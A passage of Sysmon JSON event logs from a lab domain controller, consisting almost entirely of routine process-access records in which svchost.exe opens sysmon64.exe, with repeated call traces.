C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.542\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010B82B0500}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 